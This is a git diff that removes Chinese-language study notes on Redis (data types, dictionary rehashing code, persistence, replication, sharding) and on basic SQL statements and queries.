-Redis 是速度非常快的非关系型（NoSQL）内存键值数据库，可以存储键和五种不同类型的值之间的映射。
-
-键的类型只能为字符串，值支持的五种类型数据类型为：字符串、列表、集合、有序集合、散列表。
-
-Redis 支持很多特性，例如将内存中的数据持久化到硬盘中，使用复制来扩展读性能，使用分片来扩展写性能。
-
-# 二、数据类型
-
-| 数据类型 | 可以存储的值 | 操作 |
-| :--: | :--: | :--: |
-| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
-| LIST | 列表 | 从两端压入或者弹出元素</br> 读取单个或者多个元素</br> 进行修剪，只保留一个范围内的元素 |
-| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
-| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
-| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
-
-> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
-
-## STRING
-
-<div align="center"> <img src="../pics//6019b2db-bc3e-4408-b6d8-96025f4481d6.png" width="400"/> </div><br>
-
-```html
-> set hello world
-OK
-> get hello
-"world"
-> del hello
-(integer) 1
-> get hello
-(nil)
-```
-
-## LIST
-
-<div align="center"> <img src="../pics//fb327611-7e2b-4f2f-9f5b-38592d408f07.png" width="400"/> </div><br>
-
-```html
-> rpush list-key item
-(integer) 1
-> rpush list-key item2
-(integer) 2
-> rpush list-key item
-(integer) 3
-
-> lrange list-key 0 -1
-1) "item"
-2) "item2"
-3) "item"
-
-> lindex list-key 1
-"item2"
-
-> lpop list-key
-"item"
-
-> lrange list-key 0 -1
-1) "item2"
-2) "item"
-```
-
-## SET
-
-<div align="center"> <img src="../pics//cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png" width="400"/> </div><br>
-
-```html
-> sadd set-key item
-(integer) 1
-> sadd set-key item2
-(integer) 1
-> sadd set-key item3
-(integer) 1
-> sadd set-key item
-(integer) 0
-
-> smembers set-key
-1) "item"
-2) "item2"
-3) "item3"
-
-> sismember set-key item4
-(integer) 0
-> sismember set-key item
-(integer) 1
-
-> srem set-key item2
-(integer) 1
-> srem set-key item2
-(integer) 0
-
-> smembers set-key
-1) "item"
-2) "item3"
-```
-
-## HASH
-
-<div align="center"> <img src="../pics//7bd202a7-93d4-4f3a-a878-af68ae25539a.png" width="400"/> </div><br>
-
-```html
-> hset hash-key sub-key1 value1
-(integer) 1
-> hset hash-key sub-key2 value2
-(integer) 1
-> hset hash-key sub-key1 value1
-(integer) 0
-
-> hgetall hash-key
-1) "sub-key1"
-2) "value1"
-3) "sub-key2"
-4) "value2"
-
-> hdel hash-key sub-key2
-(integer) 1
-> hdel hash-key sub-key2
-(integer) 0
-
-> hget hash-key sub-key1
-"value1"
-
-> hgetall hash-key
-1) "sub-key1"
-2) "value1"
-```
-
-## ZSET
-
-<div align="center"> <img src="../pics//1202b2d6-9469-4251-bd47-ca6034fb6116.png" width="400"/> </div><br>
-
-```html
-> zadd zset-key 728 member1
-(integer) 1
-> zadd zset-key 982 member0
-(integer) 1
-> zadd zset-key 982 member0
-(integer) 0
-
-> zrange zset-key 0 -1 withscores
-1) "member1"
-2) "728"
-3) "member0"
-4) "982"
-
-> zrangebyscore zset-key 0 800 withscores
-1) "member1"
-2) "728"
-
-> zrem zset-key member1
-(integer) 1
-> zrem zset-key member1
-(integer) 0
-
-> zrange zset-key 0 -1 withscores
-1) "member0"
-2) "982"
-```
-
-# 三、数据结构
-
-## 字典
-
-dictht 是一个散列表结构，使用拉链法保存哈希冲突的 dictEntry。
-
-```c
-/* This is our hash table structure. Every dictionary has two of this as we
- * implement incremental rehashing, for the old to the new table. */
-typedef struct dictht {
-    dictEntry **table;
-    unsigned long size;
-    unsigned long sizemask;
-    unsigned long used;
-} dictht;
-```
-
-```c
-typedef struct dictEntry {
-    void *key;
-    union {
-        void *val;
-        uint64_t u64;
-        int64_t s64;
-        double d;
-    } v;
-    struct dictEntry *next;
-} dictEntry;
-```
-
-Redis 的字典 dict 中包含两个哈希表 dictht，这是为了方便进行 rehash 操作。在扩容时，将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面，完成之后释放空间并交换两个 dictht 的角色。
-
-```c
-typedef struct dict {
-    dictType *type;
-    void *privdata;
-    dictht ht[2];
-    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
-    unsigned long iterators; /* number of iterators currently running */
-} dict;
-```
-
-rehash 操作不是一次性完成，而是采用渐进方式，这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。
-
-渐进式 rehash 通过记录 dict 的 rehashidx 完成，它从 0 开始，然后每执行一次 rehash 都会递增。例如在一次 rehash 中，要把 dict[0] rehash 到 dict[1]，这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上，dict[0] 的 table[rehashidx] 指向 null，并令 rehashidx++。
-
-在 rehash 期间，每次对字典执行添加、删除、查找或者更新操作时，都会执行一次渐进式 rehash。
-
-采用渐进式 rehash 会导致字典中的数据分散在两个 dictht 上，因此对字典的操作也需要到对应的 dictht 去执行。
-
-```c
-/* Performs N steps of incremental rehashing. Returns 1 if there are still
- * keys to move from the old to the new hash table, otherwise 0 is returned.
- *
- * Note that a rehashing step consists in moving a bucket (that may have more
- * than one key as we use chaining) from the old to the new hash table, however
- * since part of the hash table may be composed of empty spaces, it is not
- * guaranteed that this function will rehash even a single bucket, since it
- * will visit at max N*10 empty buckets in total, otherwise the amount of
- * work it does would be unbound and the function may block for a long time. */
-int dictRehash(dict *d, int n) {
-    int empty_visits = n * 10; /* Max number of empty buckets to visit. */
-    if (!dictIsRehashing(d)) return 0;
-
-    while (n-- && d->ht[0].used != 0) {
-        dictEntry *de, *nextde;
-
-        /* Note that rehashidx can't overflow as we are sure there are more
-         * elements because ht[0].used != 0 */
-        assert(d->ht[0].size > (unsigned long) d->rehashidx);
-        while (d->ht[0].table[d->rehashidx] == NULL) {
-            d->rehashidx++;
-            if (--empty_visits == 0) return 1;
-        }
-        de = d->ht[0].table[d->rehashidx];
-        /* Move all the keys in this bucket from the old to the new hash HT */
-        while (de) {
-            uint64_t h;
-
-            nextde = de->next;
-            /* Get the index in the new hash table */
-            h = dictHashKey(d, de->key) & d->ht[1].sizemask;
-            de->next = d->ht[1].table[h];
-            d->ht[1].table[h] = de;
-            d->ht[0].used--;
-            d->ht[1].used++;
-            de = nextde;
-        }
-        d->ht[0].table[d->rehashidx] = NULL;
-        d->rehashidx++;
-    }
-
-    /* Check if we already rehashed the whole table... */
-    if (d->ht[0].used == 0) {
-        zfree(d->ht[0].table);
-        d->ht[0] = d->ht[1];
-        _dictReset(&d->ht[1]);
-        d->rehashidx = -1;
-        return 0;
-    }
-
-    /* More to rehash... */
-    return 1;
-}
-```
-
-## 跳跃表
-
-是有序集合的底层实现之一。
-
-跳跃表是基于多指针有序链表实现的，可以看成多个有序链表。
-
-<div align="center"> <img src="../pics//beba612e-dc5b-4fc2-869d-0b23408ac90a.png"/> </div><br>
-
-在查找时，从上层指针开始查找，找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。
-
-<div align="center"> <img src="../pics//0ea37ee2-c224-4c79-b895-e131c6805c40.png"/> </div><br>
-
-与红黑树等平衡树相比，跳跃表具有以下优点：
-
-- 插入速度非常快速，因为不需要进行旋转等操作来维护平衡性；
-- 更容易实现；
-- 支持无锁操作。
-
-# 四、使用场景
-
-## 计数器
-
-可以对 String 进行自增自减运算，从而实现计数器功能。
-
-Redis 这种内存型数据库的读写性能非常高，很适合存储频繁读写的计数量。
-
-## 缓存
-
-将热点数据放到内存中，设置内存的最大使用量以及淘汰策略来保证缓存的命中率。
-
-## 查找表
-
-例如 DNS 记录就很适合使用 Redis 进行存储。
-
-查找表和缓存类似，也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效，而缓存的内容可以失效，因为缓存不作为可靠的数据来源。
-
-## 消息队列
-
-List 是一个双向链表，可以通过 lpop 和 lpush 写入和读取消息。
-
-不过最好使用 Kafka、RabbitMQ 等消息中间件。
-
-## 会话缓存
-
-在分布式场景下具有多个应用服务器，可以使用 Redis 来统一存储这些应用服务器的会话信息。
-
-当应用服务器不再存储用户的会话信息，也就不再具有状态，一个用户可以请求任意一个应用服务器。
-
-## 分布式锁实现
-
-在分布式场景下，无法使用单机环境下的锁来对多个节点上的进程进行同步。
-
-可以使用 Reids 自带的 SETNX 命令实现分布式锁，除此之外，还可以使用官方提供的 RedLock 分布式锁实现。
-
-## 其它
-
-Set 可以实现交集、并集等操作，从而实现共同好友等功能。
-
-ZSet 可以实现有序性操作，从而实现排行榜等功能。
-
-# 五、Redis 与 Memcached
-
-两者都是非关系型内存键值数据库，主要有以下不同：
-
-## 数据类型
-
-Memcached 仅支持字符串类型，而 Redis 支持五种不同的数据类型，可以更灵活地解决问题。
-
-## 数据持久化
-
-Redis 支持两种持久化策略：RDB 快照和 AOF 日志，而 Memcached 不支持持久化。
-
-## 分布式
-
-Memcached 不支持分布式，只能通过在客户端使用一致性哈希来实现分布式存储，这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
-
-Redis Cluster 实现了分布式的支持。
-
-## 内存管理机制
-
-- 在 Redis 中，并不是所有数据都一直存储在内存中，可以将一些很久没用的 value 交换到磁盘，而 Memcached 的数据则会一直在内存中。
-
-- Memcached 将内存分割成特定长度的块来存储数据，以完全解决内存碎片的问题，但是这种方式会使得内存的利用率不高，例如块的大小为 128 bytes，只存储 100 bytes 的数据，那么剩下的 28 bytes 就浪费掉了。
-
-# 六、键的过期时间
-
-Redis 可以为每个键设置过期时间，当键过期时，会自动删除该键。
-
-对于散列表这种容器，只能为整个键设置过期时间（整个散列表），而不能为键里面的单个元素设置过期时间。
-
-# 七、数据淘汰策略
-
-可以设置内存最大使用量，当内存使用量超出时，会施行数据淘汰策略。
-
-Reids 具体有 6 种淘汰策略：
-
-| 策略 | 描述 |
-| :--: | :--: |
-| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
-| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
-|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
-| allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 |
-| allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
-| noeviction | 禁止驱逐数据 |
-
-作为内存数据库，出于对性能和内存消耗的考虑，Redis 的淘汰算法实际实现上并非针对所有 key，而是抽样一小部分 key 从中选出被淘汰 key。
-
-使用 Redis 缓存数据时，为了提高缓存命中率，需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量，然后启用 allkeys-lru 淘汰策略，将最近最少使用的数据淘汰。
-
-Redis 4.0 引入了 volatile-lfu 和 allkeys-lfu 淘汰策略，LFU 策略通过统计访问频率，将访问频率最少的键值对淘汰。
-
-# 八、持久化
-
-Redis 是内存型数据库，为了保证数据在断电后不会丢失，需要将内存中的数据持久化到硬盘上。
-
-## RDB 持久化
-
-将某个时间点的所有数据都存放到硬盘上。
-
-可以将快照复制到其它服务器从而创建具有相同数据的服务器副本。
-
-如果系统发生故障，将会丢失最后一次创建快照之后的数据。
-
-如果数据量很大，保存快照的时间会很长。
-
-## AOF 持久化
-
-将写命令添加到 AOF 文件（Append Only File）的末尾。
-
-使用 AOF 持久化需要设置同步选项，从而确保写命令什么时候会同步到磁盘文件上。这是因为对硬盘的文件进行写入并不会马上将内容同步到磁盘文件上，而是先存储到缓冲区，然后由操作系统决定什么时候同步到硬盘。有以下同步选项：
-
-| 选项 | 同步频率 |
-| :--: | :--: |
-| always | 每个写命令都同步 |
-| everysec | 每秒同步一次 |
-| no | 让操作系统来决定何时同步 |
-
-- always 选项会严重减低服务器的性能；
-- everysec 选项比较合适，可以保证系统奔溃时只会丢失一秒左右的数据，并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响；
-- no 选项并不能给服务器性能带来多大的提升，而且也会增加系统奔溃时数据丢失的数量。
-
-随着服务器写请求的增多，AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性，能够去除 AOF 文件中的冗余写命令。
-
-# 九、事务
-
-一个事务包含了多个命令，服务器在执行事务期间，不会改去执行其它客户端的命令请求。
-
-事务中的多个命令被一次性发送给服务器，而不是一条一条发送，这种方式被称为流水线，它可以减少客户端与服务器之间的网络通信次数从而提升性能。
-
-Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。
-
-# 十、事件
-
-Redis 服务器是一个事件驱动程序。
-
-## 文件事件
-
-服务器通过套接字与客户端或者其它服务器进行通信，文件事件就是对套接字操作的抽象。
-
-Redis 基于 Reactor 模式开发了自己的网络事件处理器，使用 I/O 多路复用程序来同时监听多个套接字，并将到达的事件传送给文件事件分派器，分派器会根据套接字产生的事件类型调用相应的事件处理器。
-
-<div align="center"> <img src="../pics//9ea86eb5-000a-4281-b948-7b567bd6f1d8.png"/> </div><br>
-
-## 时间事件
-
-服务器有一些操作需要在给定的时间点执行，时间事件是对这类定时操作的抽象。
-
-时间事件又分为：
-
-- 定时事件：是让一段程序在指定的时间之内执行一次；
-- 周期性事件：是让一段程序每隔指定时间就执行一次。
-
-Redis 将所有时间事件都放在一个无序链表中，通过遍历整个链表查找出已到达的时间事件，并调用相应的事件处理器。
-
-## 事件的调度与执行
-
-服务器需要不断监听文件事件的套接字才能得到待处理的文件事件，但是不能一直监听，否则时间事件无法在规定的时间内执行，因此监听时间应该根据距离现在最近的时间事件来决定。
-
-事件调度与执行由 aeProcessEvents 函数负责，伪代码如下：
-
-```python
-def aeProcessEvents():
-    # 获取到达时间离当前时间最接近的时间事件
-    time_event = aeSearchNearestTimer()
-    # 计算最接近的时间事件距离到达还有多少毫秒
-    remaind_ms = time_event.when - unix_ts_now()
-    # 如果事件已到达，那么 remaind_ms 的值可能为负数，将它设为 0
-    if remaind_ms < 0:
-        remaind_ms = 0
-    # 根据 remaind_ms 的值，创建 timeval
-    timeval = create_timeval_with_ms(remaind_ms)
-    # 阻塞并等待文件事件产生，最大阻塞时间由传入的 timeval 决定
-    aeApiPoll(timeval)
-    # 处理所有已产生的文件事件
-    procesFileEvents()
-    # 处理所有已到达的时间事件
-    processTimeEvents()
-```
-
-将 aeProcessEvents 函数置于一个循环里面，加上初始化和清理函数，就构成了 Redis 服务器的主函数，伪代码如下：
-
-```python
-def main():
-    # 初始化服务器
-    init_server()
-    # 一直处理事件，直到服务器关闭为止
-    while server_is_not_shutdown():
-        aeProcessEvents()
-    # 服务器关闭，执行清理操作
-    clean_server()
-```
-
-从事件处理的角度来看，服务器运行流程如下：
-
-<div align="center"> <img src="../pics//c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="400"/> </div><br>
-
-# 十一、复制
-
-通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
-
-一个从服务器只能有一个主服务器，并且不支持主主复制。
-
-## 连接过程
-
-1. 主服务器创建快照文件，发送给从服务器，并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后，开始向从服务器发送存储在缓冲区中的写命令；
-
-2. 从服务器丢弃所有旧数据，载入主服务器发来的快照文件，之后从服务器开始接受主服务器发来的写命令；
-
-3. 主服务器每执行一次写命令，就向从服务器发送相同的写命令。
-
-## 主从链
-
-随着负载不断上升，主服务器可能无法很快地更新所有从服务器，或者重新连接和重新同步从服务器将导致系统超载。为了解决这个问题，可以创建一个中间层来分担主服务器的复制工作。中间层的服务器是最上层服务器的从服务器，又是最下层服务器的主服务器。
-
-<div align="center"> <img src="../pics//395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/> </div><br>
-
-# 十二、Sentinel
-
-Sentinel（哨兵）可以监听主服务器，并在主服务器进入下线状态时，自动从从服务器中选举出新的主服务器。
-
-# 十三、分片
-
-分片是将数据划分为多个部分的方法，可以将数据存储到多台机器里面，也可以从多台机器里面获取数据，这种方法在解决某些问题时可以获得线性级别的性能提升。
-
-假设有 4 个 Reids 实例 R0，R1，R2，R3，还有很多表示用户的键 user:1，user:2，... 等等，有不同的方式来选择一个指定的键存储在哪个实例中。最简单的方式是范围分片，例如用户 id 从 0\~1000 的存储到实例 R0 中，用户 id 从 1001\~2000 的存储到实例 R1 中，等等。但是这样需要维护一张映射范围表，维护操作代价很高。还有一种方式是哈希分片，使用 CRC32 哈希函数将键转换为一个数字，再对实例数量求模就能知道应该存储的实例。
-
-根据执行分片的位置，可以分为三种分片方式：
-
-- 客户端分片：客户端使用一致性哈希等算法决定键应当分布到哪个节点。
-- 代理分片：将客户端请求发送到代理上，由代理转发请求到正确的节点上。
-- 服务器分片：Redis Cluster。
-
-# 十四、一个简单的论坛系统分析
-
-该论坛系统功能如下：
-
-- 可以发布文章；
-- 可以对文章进行点赞；
-- 在首页可以按文章的发布时间或者文章的点赞数进行排序显示。
-
-## 文章信息
-
-文章包括标题、作者、赞数等信息，在关系型数据库中很容易构建一张表来存储这些信息，在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。
-
-Redis 没有关系型数据库中的表这一概念来将同种类型的数据存放在一起，而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间，后面部分的内容存储 ID，通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617，其中 article 为命名空间，ID 为 92617。
-
-<div align="center"> <img src="../pics//7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/> </div><br>
-
-## 点赞功能
-
-当有用户为一篇文章点赞时，除了要对该文章的 votes 字段进行加 1 操作，还必须记录该用户已经对该文章进行了点赞，防止用户点赞次数超过 1。可以建立文章的已投票用户集合来进行记录。
-
-为了节约内存，规定一篇文章发布满一周之后，就不能再对它进行投票，而文章的已投票集合也会被删除，可以为文章的已投票集合设置一个一周的过期时间就能实现这个规定。
-
-<div align="center"> <img src="../pics//485fdf34-ccf8-4185-97c6-17374ee719a0.png" width="400"/> </div><br>
-
-## 对文章进行排序
-
-为了按发布时间和点赞数进行排序，可以建立一个文章发布时间的有序集合和一个文章点赞数的有序集合。（下图中的 score 就是这里所说的点赞数；下面所示的有序集合分值并不直接是时间和点赞数，而是根据时间和点赞数间接计算出来的）
-
-<div align="center"> <img src="../pics//f7d170a3-e446-4a64-ac2d-cb95028f81a8.png" width="800"/> </div><br>
-
-# 参考资料
-
-- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
-- [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html)
-- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
-- [Skip Lists: Done Right](http://ticki.github.io/blog/skip-lists-done-right/)
-- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
-- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
-- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
-- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
-- [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)
diff --git a/notes/SQL.md b/notes/SQL.md
index ca9b7b29..649f563a 100644
--- a/notes/SQL.md
+++ b/notes/SQL.md
@@ -1,767 +1,4 @@
 <!-- GFM-TOC -->
-* [一、基础](#一基础)
-* [二、创建表](#二创建表)
-* [三、修改表](#三修改表)
-* [四、插入](#四插入)
-* [五、更新](#五更新)
-* [六、删除](#六删除)
-* [七、查询](#七查询)
-* [八、排序](#八排序)
-* [九、过滤](#九过滤)
-* [十、通配符](#十通配符)
-* [十一、计算字段](#十一计算字段)
-* [十二、函数](#十二函数)
-* [十三、分组](#十三分组)
-* [十四、子查询](#十四子查询)
-* [十五、连接](#十五连接)
-* [十六、组合查询](#十六组合查询)
-* [十七、视图](#十七视图)
-* [十八、存储过程](#十八存储过程)
-* [十九、游标](#十九游标)
-* [二十、触发器](#二十触发器)
-* [二十一、事务处理](#二十一事务处理)
-* [二十二、字符集](#二十二字符集)
-* [二十三、权限管理](#二十三权限管理)
-* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-# 一、基础
-
-模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息，数据库和表都有模式。
-
-主键的值不允许修改，也不允许复用（不能使用已经删除的主键值赋给新数据行的主键）。
-
-SQL（Structured Query Language)，标准 SQL 由 ANSI 标准委员会管理，从而称为 ANSI SQL。各个 DBMS 都有自己的实现，如 PL/SQL、Transact-SQL 等。
-
-SQL 语句不区分大小写，但是数据库表名、列名和值是否区分依赖于具体的 DBMS 以及配置。
-
-SQL 支持以下三种注释：
-
-```sql
-# 注释
-SELECT *
-FROM mytable; -- 注释
-/* 注释1
-   注释2 */
-```
-
-数据库创建与使用：
-
-```sql
-CREATE DATABASE test;
-USE test;
-```
-
-# 二、创建表
-
-```sql
-CREATE TABLE mytable (
-  id INT NOT NULL AUTO_INCREMENT,
-  col1 INT NOT NULL DEFAULT 1,
-  col2 VARCHAR(45) NULL,
-  col3 DATE NULL,
-  PRIMARY KEY (`id`));
-```
-
-# 三、修改表
-
-添加列
-
-```sql
-ALTER TABLE mytable
-ADD col CHAR(20);
-```
-
-删除列
-
-```sql
-ALTER TABLE mytable
-DROP COLUMN col;
-```
-
-删除表
-
-```sql
-DROP TABLE mytable;
-```
-
-# 四、插入
-
-普通插入
-
-```sql
-INSERT INTO mytable(col1, col2)
-VALUES(val1, val2);
-```
-
-插入检索出来的数据
-
-```sql
-INSERT INTO mytable1(col1, col2)
-SELECT col1, col2
-FROM mytable2;
-```
-
-将一个表的内容插入到一个新表
-
-```sql
-CREATE TABLE newtable AS
-SELECT * FROM mytable;
-```
-
-# 五、更新
-
-```sql
-UPDATE mytable
-SET col = val
-WHERE id = 1;
-```
-
-# 六、删除
-
-```sql
-DELETE FROM mytable
-WHERE id = 1;
-```
-
-**TRUNCATE TABLE**  可以清空表，也就是删除所有行。
-
-```sql
-TRUNCATE TABLE mytable;
-```
-
-使用更新和删除操作时一定要用 WHERE 子句，不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试，防止错误删除。
-
-# 七、查询
-
-## DISTINCT
-
-相同值只会出现一次。它作用于所有列，也就是说所有列的值都相同才算相同。
-
-```sql
-SELECT DISTINCT col1, col2
-FROM mytable;
-```
-
-## LIMIT
-
-限制返回的行数。可以有两个参数，第一个参数为起始行，从 0 开始；第二个参数为返回的总行数。
-
-返回前 5 行：
-
-```sql
-SELECT *
-FROM mytable
-LIMIT 5;
-```
-
-```sql
-SELECT *
-FROM mytable
-LIMIT 0, 5;
-```
-
-返回第 3 \~ 5 行：
-
-```sql
-SELECT *
-FROM mytable
-LIMIT 2, 3;
-```
-
-# 八、排序
-
--  **ASC** ：升序（默认）
--  **DESC** ：降序
-
-可以按多个列进行排序，并且为每个列指定不同的排序方式：
-
-```sql
-SELECT *
-FROM mytable
-ORDER BY col1 DESC, col2 ASC;
-```
-
-# 九、过滤
-
-不进行过滤的数据非常大，导致通过网络传输了多余的数据，从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据，而不是传输所有的数据到客户端中然后由客户端进行过滤。
-
-```sql
-SELECT *
-FROM mytable
-WHERE col IS NULL;
-```
-
-下表显示了 WHERE 子句可用的操作符
-
-|  操作符 | 说明  |
-| :---: | :---: |
-| = | 等于 |
-| &lt; | 小于 |
-| &gt; | 大于 |
-| &lt;&gt; != | 不等于 |
-| &lt;= !&gt; | 小于等于 |
-| &gt;= !&lt; | 大于等于 |
-| BETWEEN | 在两个值之间 |
-| IS NULL | 为 NULL 值 |
-
-应该注意到，NULL 与 0、空字符串都不同。
-
-**AND 和 OR**  用于连接多个过滤条件。优先处理 AND，当一个过滤表达式涉及到多个 AND 和 OR 时，可以使用 () 来决定优先级，使得优先级关系更清晰。
-
-**IN**  操作符用于匹配一组值，其后也可以接一个 SELECT 子句，从而匹配子查询得到的一组值。
-
-**NOT**  操作符用于否定一个条件。
-
-# 十、通配符
-
-通配符也是用在过滤语句中，但它只能用于文本字段。
-
--  **%**  匹配 >=0 个任意字符；
-
--  **\_**  匹配 ==1 个任意字符；
-
--  **[ ]**  可以匹配集合内的字符，例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定，也就是不匹配集合内的字符。
-
-使用 Like 来进行通配符匹配。
-
-```sql
-SELECT *
-FROM mytable
-WHERE col LIKE '[^AB]%'; -- 不以 A 和 B 开头的任意文本
-```
-
-不要滥用通配符，通配符位于开头处匹配会非常慢。
-
-# 十一、计算字段
-
-在数据库服务器上完成数据的转换和格式化的工作往往比客户端上快得多，并且转换和格式化后的数据量更少的话可以减少网络通信量。
-
-计算字段通常需要使用  **AS**  来取别名，否则输出的时候字段名为计算表达式。
-
-```sql
-SELECT col1 * col2 AS alias
-FROM mytable;
-```
-
-**CONCAT()**  用于连接两个字段。许多数据库会使用空格把一个值填充为列宽，因此连接的结果会出现一些不必要的空格，使用 **TRIM()** 可以去除首尾空格。
-
-```sql
-SELECT CONCAT(TRIM(col1), '(', TRIM(col2), ')') AS concat_col
-FROM mytable;
-```
-
-# 十二、函数
-
-各个 DBMS 的函数都是不相同的，因此不可移植，以下主要是 MySQL 的函数。
-
-## 汇总
-
-|函 数 |说 明|
-| :---: | :---: |
-| AVG() | 返回某列的平均值 |
-| COUNT() | 返回某列的行数 |
-| MAX() | 返回某列的最大值 |
-| MIN() | 返回某列的最小值 |
-| SUM() |返回某列值之和 |
-
-AVG() 会忽略 NULL 行。
-
-使用 DISTINCT 可以让汇总函数值汇总不同的值。
-
-```sql
-SELECT AVG(DISTINCT col1) AS avg_col
-FROM mytable;
-```
-
-## 文本处理
-
-| 函数  | 说明  |
-| :---: | :---: |
-|  LEFT() |  左边的字符 |
-| RIGHT() | 右边的字符 |
-| LOWER() | 转换为小写字符 |
-| UPPER() | 转换为大写字符 |
-| LTRIM() | 去除左边的空格 |
-| RTRIM() | 去除右边的空格 |
-| LENGTH() | 长度 |
-| SOUNDEX() | 转换为语音值 |
-
-其中， **SOUNDEX()**  可以将一个字符串转换为描述其语音表示的字母数字模式。
-
-```sql
-SELECT *
-FROM mytable
-WHERE SOUNDEX(col1) = SOUNDEX('apple')
-```
-
-## 日期和时间处理
-
-- 日期格式：YYYY-MM-DD
-- 时间格式：HH:MM:SS
-
-|函 数 | 说 明|
-| :---: | :---: |
-| AddDate() | 增加一个日期（天、周等）|
-| AddTime() | 增加一个时间（时、分等）|
-| CurDate() | 返回当前日期 |
-| CurTime() | 返回当前时间 |
-| Date() |返回日期时间的日期部分|
-| DateDiff() |计算两个日期之差|
-| Date_Add() |高度灵活的日期运算函数|
-| Date_Format() |返回一个格式化的日期或时间串|
-| Day()| 返回一个日期的天数部分|
-| DayOfWeek() |对于一个日期，返回对应的星期几|
-| Hour() |返回一个时间的小时部分|
-| Minute() |返回一个时间的分钟部分|
-| Month() |返回一个日期的月份部分|
-| Now() |返回当前日期和时间|
-| Second() |返回一个时间的秒部分|
-| Time() |返回一个日期时间的时间部分|
-| Year() |返回一个日期的年份部分|
-
-```sql
-mysql> SELECT NOW();
-```
-
-```
-2018-4-14 20:25:11
-```
-
-## 数值处理
-
-| 函数 | 说明 |
-| :---: | :---: |
-| SIN() | 正弦 |
-| COS() | 余弦 |
-| TAN() | 正切 |
-| ABS() | 绝对值 |
-| SQRT() | 平方根 |
-| MOD() | 余数 |
-| EXP() | 指数 |
-| PI() | 圆周率 |
-| RAND() | 随机数 |
-
-# 十三、分组
-
-分组就是把具有相同的数据值的行放在同一组中。
-
-可以对同一分组数据使用汇总函数进行处理，例如求分组数据的平均值等。
-
-指定的分组字段除了能按该字段进行分组，也会自动按该字段进行排序。
-
-```sql
-SELECT col, COUNT(*) AS num
-FROM mytable
-GROUP BY col;
-```
-
-GROUP BY 自动按分组字段进行排序，ORDER BY 也可以按汇总字段来进行排序。
-
-```sql
-SELECT col, COUNT(*) AS num
-FROM mytable
-GROUP BY col
-ORDER BY num;
-```
-
-WHERE 过滤行，HAVING 过滤分组，行过滤应当先于分组过滤。
-
-```sql
-SELECT col, COUNT(*) AS num
-FROM mytable
-WHERE col > 2
-GROUP BY col
-HAVING num >= 2;
-```
-
-分组规定：
-
-- GROUP BY 子句出现在 WHERE 子句之后，ORDER BY 子句之前；
-- 除了汇总字段外，SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出；
-- NULL 的行会单独分为一组；
-- 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。
-
-# 十四、子查询
-
-子查询中只能返回一个字段的数据。
-
-可以将子查询的结果作为 WHRER 语句的过滤条件：
-
-```sql
-SELECT *
-FROM mytable1
-WHERE col1 IN (SELECT col2
-               FROM mytable2);
-```
-
-下面的语句可以检索出客户的订单数量，子查询语句会对第一个查询检索出的每个客户执行一次：
-
-```sql
-SELECT cust_name, (SELECT COUNT(*)
-                   FROM Orders
-                   WHERE Orders.cust_id = Customers.cust_id)
-                   AS orders_num
-FROM Customers
-ORDER BY cust_name;
-```
-
-# 十五、连接
-
-连接用于连接多个表，使用 JOIN 关键字，并且条件语句使用 ON 而不是 WHERE。
-
-连接可以替换子查询，并且比子查询的效率一般会更快。
-
-可以用 AS 给列名、计算字段和表名取别名，给表名取别名是为了简化 SQL 语句以及连接相同表。
-
-## 内连接
-
-内连接又称等值连接，使用 INNER JOIN 关键字。
-
-```sql
-SELECT A.value, B.value
-FROM tablea AS A INNER JOIN tableb AS B
-ON A.key = B.key;
-```
-
